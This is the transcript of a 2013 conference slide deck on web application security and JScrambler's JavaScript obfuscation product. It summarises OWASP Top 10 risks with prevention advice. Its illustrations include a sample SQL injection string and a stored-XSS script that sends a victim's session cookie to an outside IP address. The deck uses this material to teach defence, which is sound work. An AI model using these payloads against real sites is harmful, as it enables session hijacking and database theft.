Protecting the code of Web Applications

Slides:



Advertisements
Similar presentations
Nick Feamster CS 6262 Spring 2009
Advertisements

Lecture plan Information retrieval (from week 11)
Modern Web Application Frameworks CSE 591 – Security and Vulnerability Analysis Spring 2015 Adam Doupé Arizona State University
THE BROKEN WEB A Systematic Analysis of XSS Sanitization in Web Application Frameworks.
9/9/2005 Developing "Secure" Web Applications 1 Methods & Concepts for Developing “Secure” Web Applications Peter Y. Hammond, Developer Wasatch Front Regional.
SERVER web page repository WEB PAGE instructions stores information and instructions BROWSER retrieves web page and follows instructions Server Web Server.
Web Security Model CSE 591 – Security and Vulnerability Analysis Spring 2015 Adam Doupé Arizona State University
What is it? –Large Web sites that support commercial use cannot be written by hand What you’re going to learn –How a Web server and a database can be used.
The Application Layer Chapter 7. Electronic Mail Architecture and Services The User Agent Message Formats Message Transfer Final Delivery.
INTRODUCTION The Group WEB BROWSER FOR RELATION Goals.
Multiple Tiers in Action
1 The World Wide Web Architectural Overview Static Web Documents Dynamic Web Documents HTTP – The HyperText Transfer Protocol Performance Enhancements.
Website Generator for SoftLab By Yohann SABBAH & Mikael V.H Cohen -Under the supervision of Viktor Kulikov- Final Presentation 7/20/2015.
CROSS SITE SCRIPTING..! (XSS). Overview What is XSS? Types of XSS Real world Example Impact of XSS How to protect against XSS?
Handling Security Threats in Kentico CMS Karol Jarkovsky Sr. Solution Architect Kentico Software
ITM352 Javascript and Dynamic Web Pages: Client Side Processing.
Overview of JSP Technology. The need of JSP With servlets, it is easy to – Read form data – Read HTTP request headers – Set HTTP status codes and response.
Intro to PHP Introduction to server-side scripts (It’s all good :D) © TAFE NSW
INFM 603: Information Technology and Organizational Context Jimmy Lin The iSchool University of Maryland Thursday, October 18, 2012 Session 7: PHP.
Server-side Scripting Powering the webs favourite services.
Introduction to Internet Programming (Web Based Application)
PHP By Jonathan Foss.
URails Meeting 001. HTTP Old/Young guys with beards decided “We need to communicate. Let’s use text!” Hypertext Transfer Protocol HTTP is just sending.
Feedback #2 (under assignments) Lecture Code:
_______________________________________________________________________________________________________________ E-Commerce: Fundamentals and Applications1.
Svetlin Nakov Technical Trainer Software University
Aniket Joshi Justin Thomas. Agenda Introduction to SQL Injection SQL Injection Attack SQL Injection Prevention Summary.
Chapter 16 The World Wide Web. FIGURE 16.0.F01: A very, very simple Web page. Courtesy of Dr. Richard Smith.
ASP (Active Server Pages) by Bülent & Resul. Presentation Outline Introduction What is an ASP file? How does ASP work? What can ASP do? Differences Between.
 Computer use language to communicate  A web browser will read these tags and translate it into what you actually see  Viewing Code of ESPN WebsiteESPN.
הרצאה 4. עיבוד של דף אינטרנט דינמי מתוך Murach’s PHP and MySQL by Joel Murach and Ray Harris.  דף אינטרנט דינמי משתנה עפ " י הרצת קוד על השרת, יכול להשתנות.
Ajax for Dynamic Web Development Gregory McChesney.
Web Security Lesson Summary ●Overview of Web and security vulnerabilities ●Cross Site Scripting ●Cross Site Request Forgery ●SQL Injection.
Invitation to Computer Science 6 th Edition Chapter 10 The Tower of Babel.
 Before you continue you should have a basic understanding of the following:  HTML  CSS  JavaScript.
Example – SQL Injection MySQL & PHP code: // The next instruction prompts the user is to supply an ID $personID = getIDstringFromUser(); $sqlQuery = "SELECT.
Chapter 1 Murach's JavaScript and jQuery, C1© 2012, Mike Murach & Associates, Inc.Slide 1.
Project 5: Customizing User Content Essentials for Design JavaScript Level Two Michael Brooks.
Browser Compatibility Testing, using different browsers Conditional Statements.
1 The World Wide Web Architectural Overview Static Web Documents Dynamic Web Documents HTTP – The HyperText Transfer Protocol Performance Enhancements.
Overview Web Technologies Computing Science Thompson Rivers University.
Session 11: Cookies, Sessions ans Security iNET Academy Open Source Web Development.
CSE3310: Web training A JumpStart for Project. Outline Introduction to Website development Web Development Languages How to build simple Pages in PHP.
CS320 Web and Internet Programming Introduction to Web Application Development Chengyu Sun California State University, Los Angeles.
Web Development. Agenda Web History Network Architecture Types of Server The languages of the web Protocols API 2.
PHP Assignment Help BookMyEssay. What is PHP PHP is a scripting language generally used on web servers. It is an open source language and embedded code.
Web Basics: HTML/CSS/JavaScript What are they?
CSE 154 Lecture 25: web security.
An Introduction to Web Application Security
Web Technologies Computing Science Thompson Rivers University
Introduction to Dynamic Web Programming
HTTP Parameters and Arrays
Jerrell Jackson
PHP / MySQL Introduction
Web Statistics Statistics collected from
Web Systems & Technologies
PHP + Oracle = Data-Driven Websites
04 | Web Applications Gerry O’Brien | Technical Content Development Manager Paul Pardi | Senior Content Publishing Manager.
CSE 154 Lecture 26: web security.
Web Systems Development (CSC-215)
Web Browser server client 3-Tier Architecture Apache web server PHP
Web Systems Development (CSC-215)
CSC 495/583 Topics of Software Security Intro to Web Security
Unit 6 part 3 Test Javascript Test.
Secure Web Programming
Tutorial 6 PHP & MySQL Li Xu
Web Technologies Computing Science Thompson Rivers University
Client-Server Model: Requesting a Web Page
© 2017, Mike Murach & Associates, Inc.
Presentation transcript:

Protecting the code of Web Applications Pedro Fortuna Co-founder and CTO ISEP, June 19th 2013

Agenda Web Application Security JScrambler JavaScript Obfuscation

+web NEXT Web Application Security

Where things went wrong? Web Browser Web Server GET /index.html static text Content delivery system

Where things went wrong? Web Browser Web Server GET /index.html static text Content delivery system Web Browser Web Server GET /form.php?id=2&name=pedro%20fortuna dynamically generated response Application delivery system DB

Where things went wrong? Users can submit arbitrary data to the server This includes all non-obvious sources of data that can be used by the application (cookies, HTTP headers) Data is mixed with all sorts of code (HTML, JavaScript, CSS, SQL) Complex to filter, escape and output-encode data <?PHP $place = 'Peter's Pizza'; print $place; ?> DB "uma frase aleatória" "uma frase aleatória" HTML escaping <?PHP $place = 'Peter\'s Pizza'; print $place; ?> DB PHP string escaping

OWASP Top 10 2010 edition A1: Injection A2: Cross-Site Scripting (XSS) A3: Broken Authentication and Session Management A4: Insecure Direct Object References A5: Cross Site Request Forgery (CSRF) A6: Security Misconfiguration A7: Failure to Restrict URL Access A8: Insecure Cryptographic Storage A9: Insufficient Transport Layer Protection A10: Unvalidated Redirects and Forwards http://www.owasp.org/index.php/Top_10

A1 - Injection Tricking an application into including unintended commands in the data sent to an interpreter Injection means… Take strings and interpret them as commands SQL, OS Shell, LDAP, XPath, etc… Interpreters… Many applications still susceptible Even though it’s usually very simple to avoid SQL injection is still quite common Usually severe. Entire database can usually be read or modified May also allow full database schema, or account access, or even OS level access Typical Impact

SQL Injection - Illustrated Account: SKU: Account: SKU: "SELECT * FROM accounts WHERE acct=‘’ OR 1=1--’" Account Summary Acct:5424-6066-2134-4334 Acct:4128-7574-3921-0192 Acct:5424-9383-2039-4029 Acct:4128-0004-1234-0293 HTTP response   DB Table   HTTP request SQL query Application Layer Accounts Finance Administration Transactions Communication Knowledge Mgmt E-Commerce Bus. Functions Databases Legacy Systems Web Services Directories Human Resrcs Billing APPLICATION ATTACK Custom Code 1. Application presents a form to the attacker 2. Attacker sends an attack in the form data App Server 3. Application forwards attack to the database in a SQL query Web Server Hardened OS 4. Database runs query containing attack and sends encrypted results back to application Network Layer Firewall Firewall 5. Application decrypts data as normal and sends results to the user

A1 – Avoiding Injection Flaws Recommendations Avoid the interpreter entirely, or Use an interface that supports bind variables (e.g., prepared statements, or stored procedures), Bind variables allow the interpreter to distinguish between code and data Encode all user input before passing it to the interpreter Always perform ‘white list’ input validation on all user supplied input Always minimize database privileges to reduce the impact of a flaw References For more details, read http://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet

A2 – Cross-Site Scripting (XSS) Raw data from attacker is sent to an innocent user’s browser Occurs any time… Stored in database Reflected from web input (form field, hidden field, URL, etc…) Sent directly into rich JavaScript client Raw data… Try this in your browser – javascript:alert(document.cookie) Virtually every web application has this problem Steal user’s session, steal sensitive data, rewrite web page, redirect user to phishing or malware site Most Severe: Install XSS proxy which allows attacker to observe and direct all user’s behavior on vulnerable site and force user to other sites Typical Impact

Cross-Site Scripting (XSS) Illustrated 1 Attacker sets the trap – update my profile Application with stored XSS vulnerability Hello my name is Peter <script> XSSImage=new Image; XSSImage.src="http://1.2.3.4/catcher?cookie="+document.cookie); </script> Attacker enters a malicious script into a web page that stores the data on the server Custom Code Accounts Finance Administration Transactions Communication Knowledge Mgmt E-Commerce Bus. Functions 2 Victim views page – sees attacker profile Script runs inside victim’s browser with full access to the DOM and cookies 3 Script silently sends attacker Victim’s session cookie

A2 – Avoiding XSS flaws Recommendations References Eliminate Flaw Don’t include user supplied input in the output page Defend Against the Flaw Primary Recommendation: Output encode all user supplied input (Use OWASP’s ESAPI to output encode: http://www.owasp.org/index.php/ESAPI Perform ‘white list’ input validation on all user input to be included in page For large chunks of user supplied HTML, use OWASP’s AntiSamy to sanitize this HTML to make it safe See: http://www.owasp.org/index.php/AntiSamy References For how to output encode properly, read the new http://www.owasp.org/index.php/XSS_(Cross Site Scripting) Prevention Cheat Sheet

Safe Escaping Schemes in Various HTML Execution Contexts #1: ( &, <, >, " )  &entity; ( ', / )  &#xHH; ESAPI: encodeForHTML() HTML Element Content (e.g., <div> some text to display </div> ) #2: All non-alphanumeric < 256  &#xHH ESAPI: encodeForHTMLAttribute() HTML Attribute Values (e.g., <input name='person' type='TEXT' value='defaultValue'> ) #3: All non-alphanumeric < 256  \xHH ESAPI: encodeForJavaScript() JavaScript Data (e.g., <script> some javascript </script> ) #4: All non-alphanumeric < 256  \HH ESAPI: encodeForCSS() CSS Style Property Values (e.g., .pdiv a:hover {color: red; text-decoration: underline} ) #5: All non-alphanumeric < 256  %HH ESAPI: encodeForURL() URI Attribute Values (e.g., <a href="javascript:toggle('lesson')" ) Recommendation: Only allow #1 and #2 and disallow all others See: www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet for more details

A3 – Broken Authentication and Session Management Means credentials have to go with every request Should use SSL for everything requiring authentication HTTP is a “stateless” protocol SESSION ID used to track state since HTTP doesn’t and it is just as good as credentials to an attacker SESSION ID is typically exposed on the network, in browser, in logs, … Session management flaws Change my password, remember my password, forgot my password, secret question, logout, email address, etc… Beware the side-doors User accounts compromised or user sessions hijacked Typical Impact

A3 – Broken Authentication Illustrated 1 User sends credentials Custom Code Accounts Finance Administration Transactions Communication Knowledge Mgmt E-Commerce Bus. Functions www.foo.com?JSESSIONID=9FA1DB9EA... Site uses URL rewriting (i.e., put session in URL) 2 3 User clicks on a link to http://www.hacker.com in a forum Hacker checks referer logs on www.hacker.com and finds user’s JSESSIONID 4 5 Hacker uses JSESSIONID and takes over victim’s account

A3 – Avoiding Broken Authentication and Session Management Verify your architecture Authentication should be simple, centralized, and standardized Use the standard session id provided by your framework (e.g. PHP Zend) Be sure SSL protects both credentials and session id at all times Verify the implementation Check your SSL certificate Examine all the authentication-related functions Verify that logoff actually destroys the session Make the session expire Make the session unmovable (function(IP_ADDRESS)) Follow the guidance from http://www.owasp.org/index.php/Authentication_Cheat_Sheet

+JS NEXT JScrambler

Who we are ? The Start Vision/Mission The Company Started in late 2008 Following the vision that software and data are migrating rapidly to the web, but security isn’t evolving at the same pace. Innovative Web Security Solutions The Start Vision: we believe that the strongest approach to Web Security should be to put the 1st line of defense on the client-side Mission: to be a leader in Web Application Protection technology Vision/Mission Top Web Security Team 30Y of combined experience Being advised by Pereira Ventures in its International Expansion The Company Leaders in JavaScript Obfuscation since 2010 Top 100 European Startup in 2009 In the European Unlimited Eurecan European Contest Awards

What do we do? Web Traffic Security Services Auditing Web JavaScript Source code protection Obfuscates JS/HTML5 WebApps Protects the code from being stolen, inspected, tampered with Web Traffic Auditing Security Services Enterprise Web Application Protection against Man int the Browser and other security attacks Web Application Security

What is the world’s most popular language ?

3+ Years Protecting Apps Release History +3 YEARS PROTECTING WEB APPLICATIONS 2010-04 Beta version 2010-10 1.0 released 2012-06 2.0 released 2013-04 3.0 released JS lines of code 120 MILLION PROTECTED 106 Countries 5000 Clients

JScrambler Feedback ROVIO TECHCRUNCH RSA SECURITY Customer NEWS “JScrambler does seem to offer the most complete solution. Out of the box, it should work with most of the standard libraries” TECHCRUNCH Customer “JScrambler results look promising” ROVIO Customer "We are trying to push the envelope and it’s good to have a nimble partner that is aggressive at achieving this” RSA SECURITY

JScrambler Obfuscation Code Execution Control Optimization State of the art Web Application Protection and Optimization JavaScript HTML5/JavaScript Mobile Web Applications Web Games Obfuscation JavaScript Domain Lock Expiration Date Anti-debugging Code Execution Control JavaScript Code Simplification Dead Code Removal Compression Optimization

JScrambler Obfuscation: The art of making code unreadable

JScrambler Domain Lock Expiration Date Anti Debugging Code Execution Control Domain Lock Expiration Date Anti Debugging

JavaScript Obfuscation NEXT JavaScript Obfuscation

NEXT We look forward for you contact and feedback Questions

Contact Us Porto Headquarters Lisbon Office Pedro Fortuna CTO Edifício Central da UPTEC Rua Alfredo Allen, 455 4200-135 Porto, Portugal Lisbon Office Rua da Prata 121 5º A 1100-415 Lisboa Portugal Pedro Fortuna CTO pedro.fortuna@auditmark.com +351 917331552 auditmark.com